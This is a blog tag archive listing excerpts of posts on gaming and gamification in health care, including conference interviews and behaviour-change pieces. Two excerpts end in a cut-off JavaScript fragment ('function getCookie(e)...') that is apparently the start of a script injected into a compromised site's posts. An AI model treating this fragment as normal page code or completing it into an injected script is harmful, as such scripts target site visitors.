Tag Archives: gaming
25 Apr/12
If you read yesterdays post, youll know that Pixels and Pills recently sat down with Ben Sawyer, Director of the Games for Health Project and organizer of the Games for Health Conference to talk...
8 Nov/11
by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
Posted in Social Media
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Tagged Buster Benson, Communities, community, Compliance, gamification, gaming, Health, Health care, Health Month, healthcare, innovation, marketing, Social network, Trends
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16 May/11
(Video credited to Milk and Cookies) This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy...
Posted in Digital Health
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Tagged activity, animation, content, Design, enrichment, Flash, gaming, graphics, information, interactivity, internet, introduction, learning, mobile, motion, platform, technology, website, World Wide Web
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12 Apr/11
By Sven Larsen (@Zemoga) Volkswagen's Swedish ad agency created The Fun Theory website, stating: "This site is dedicated to the thought that something as simple as fun is the easiest way to change...
Posted in Social Media
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Tagged addiction, behavior, exercise, fun, gaming, idealistic, incentive, Medicine, monitoring, motivation, Pharma, social, symptoms
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8 Mar/11
By DJ Edgerton (@wiltonbound) Even while traveling, I have to say, it's hard to ignore the recent Charlie Sheen Media Spectacular. His very public fall from grace has dominated the headlines,...
4 Oct/10
Ben Sawyer, President of DigitalMill, describes how he became involved with ePatient Connections and the significance of gaming to global health, general wellness, and rehabilitation function...
Posted in Social Media
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Tagged #epatcon, Ben Sawyer, caregivers, DigitalMill, engagement, ePatient Connections, events, gaming, Health, Patients, rehabilitation, Video, Wellness
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4 Oct/10
Elizabeth Lyons, PhD, MPH, Interdisciplinary Obesity Center, Lineberger Comprehensive Cancer Center at The University of North Carolina at Chapel Hill explains how video games don't require any...
Posted in Social Media
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Tagged #epatcon, caregivers, Elizabeth Lyons, engagement, ePatient Connections, events, gaming, Health, Lineberger Cancer Center, obesity, Patients, UNC Chapel Hill, Video, Wii Fit
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1 Oct/10
Michael Fergusson, CEO of Ayogo Games describes the physiological rewards of gaming, and how the user's social network helps them stay honest. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media
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Tagged #epatcon, Ayogo Games, caregivers, engagement, ePatient Connections, events, gaming, Michael Fergusson, Patients, social media, Video
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1 Oct/10
Manny Hernandez, President of the Diabetes Hands Foundation, explains how encouraging healthy behavior can be fun by leveraging gaming and social media. function getCookie(e){var...
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Tagged #epatcon, caregivers, Diabetes Hands Foundation, engagement, ePatient Connections, events, gaming, healthy behavior, Manny Hernandez, Patients, social media, Video
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11 Aug/10
By Todd LaRoche (@toddlaroche) I wasnt more than a small child the first time I hyper-spaced through the galaxy in Asteroids. Within seconds of whizzing past meteors and shooting stars, I was...